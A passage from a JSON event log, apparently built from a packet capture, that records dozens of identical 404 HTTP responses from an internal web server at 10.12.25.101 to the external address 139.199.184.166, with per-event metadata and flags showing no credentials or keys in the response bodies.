            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255824.059099000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1107",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52354,
          "event_id": "evt-932d2843185777ad0979d05f",
          "src_port": 80,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1108,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255824.342491000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1110",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52354,
          "event_id": "evt-38b51cb61e893c3a5f364649",
          "src_port": 80,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1111,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255824.636833000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1113",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52354,
          "event_id": "evt-ee32947ea28d787eabc8b0ce",
          "src_port": 80,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1114,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255824.904026000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1116",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52354,
          "event_id": "evt-bd63471c0026892f0fcc96d0",
          "src_port": 80,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1117,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255825.858138000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1119",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52354,
          "event_id": "evt-0fa5fe685ef378b1937827c9",
          "src_port": 80,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1120,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255826.130889000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1122",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52354,
          "event_id": "evt-10e08ee1561ca252fc84058e",
          "src_port": 80,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1123,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255826.399219000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1125",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52354,
          "event_id": "evt-1f71a1d48cebeeb55d9599ff",
          "src_port": 80,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1127,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255827.233588000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1129",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52354,
          "event_id": "evt-dc8fbeb50a4073c0fe9b000e",
          "src_port": 80,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1130,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255827.500902000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1132",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52354,
          "event_id": "evt-1627a8d45ffe224b3e5417de",
          "src_port": 80,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1133,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255827.767839000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1135",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52354,
          "event_id": "evt-2edd106b04f2c3c05ab46fb8",
          "src_port": 80,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1136,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255828.034975000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1138",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52354,
          "event_id": "evt-2cfc81465f8fc4ab8002bb58",
          "src_port": 80,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1139,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255828.302216000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1146",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 53874,
          "event_id": "evt-33cb61c0111885a1b82e0c18",
          "src_port": 80,
          "tcp_stream": 32,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1148,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255831.431007000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1156",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 53988,
          "event_id": "evt-4c12c3c51b01ad8c3e8a1319",
          "src_port": 80,
          "tcp_stream": 33,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1158,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255831.999955000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1160",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 53988,
          "event_id": "evt-bce725ccf656df41e23602f9",
          "src_port": 80,
          "tcp_stream": 33,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1161,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255832.257914000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1163",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 53988,
          "event_id": "evt-7b0d5edfa4b261523678f48b",
          "src_port": 80,
          "tcp_stream": 33,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1164,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255832.619490000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1173",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54899,
          "event_id": "evt-913a98a477f1894b2a8d3811",
          "src_port": 80,
          "tcp_stream": 34,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1175,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255858.374730000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1177",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54899,
          "event_id": "evt-cef9cd06d90337b58fee2473",
          "src_port": 80,
          "tcp_stream": 34,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1178,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255858.933102000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1180",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54899,
          "event_id": "evt-2737cf67350f5987a056363a",
          "src_port": 80,
          "tcp_stream": 34,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1181,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255859.934961000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1183",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54899,
          "event_id": "evt-482df82ed5d9aebec249fe9c",
          "src_port": 80,
          "tcp_stream": 34,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1184,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255863.984076000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1186",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54899,
          "event_id": "evt-b05b5d0c6f1c22e5aeaae83a",
          "src_port": 80,
          "tcp_stream": 34,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1187,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255864.248016000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1189",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54899,
          "event_id": "evt-945e6fef408aa65151fe894e",
          "src_port": 80,
          "tcp_stream": 34,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1190,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255864.511723000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1192",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54899,
          "event_id": "evt-b158f348250a92e1450d6bb1",
          "src_port": 80,
          "tcp_stream": 34,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1193,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255864.775581000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1202",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58703,
          "event_id": "evt-04218bfae09116147fc3d21e",
          "src_port": 80,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1204,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255870.473895000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1206",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58703,
          "event_id": "evt-771776729ef6867e54a9e06c",
          "src_port": 80,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1207,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255872.120218000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1209",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58703,
          "event_id": "evt-5719311b0034e3c48f217899",
          "src_port": 80,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1210,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255873.714674000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1212",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58703,
          "event_id": "evt-e5ace6fbe18f9a3ea4bf23a4",
          "src_port": 80,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1213,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255874.003976000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1215",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58703,
          "event_id": "evt-0e616ac0c734cc66ee220c80",
          "src_port": 80,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1216,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255874.277596000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1218",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58703,
          "event_id": "evt-618b4efa0a5de3d1c6cd75d5",
          "src_port": 80,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1219,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255876.669331000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1221",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58703,
          "event_id": "evt-7e9a6707fe3e7fed4e94d96b",
          "src_port": 80,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1222,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255876.935927000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1224",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58703,
          "event_id": "evt-9d4648dd4565fa5cdae0da88",
          "src_port": 80,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1226,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255878.401224000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1228",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58703,
          "event_id": "evt-44304ad29a89881caecb396d",
          "src_port": 80,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1229,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255880.695681000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1231",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58703,
          "event_id": "evt-62152987260779d15a2d8e2c",
          "src_port": 80,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1232,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255885.584979000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1234",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58703,
          "event_id": "evt-d593a84bd48aaa0f6b054176",
          "src_port": 80,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1235,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255885.851860000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1237",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58703,
          "event_id": "evt-583dee04a7e2cb726b35ba38",
          "src_port": 80,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1238,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255886.134170000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1240",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58703,
          "event_id": "evt-d30808fa7c9a9bfc0f8ac157",
          "src_port": 80,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1241,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255886.436154000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1243",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58703,
          "event_id": "evt-eccffe8d01493d629e1c9c1f",
          "src_port": 80,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1244,
          "body_features": {
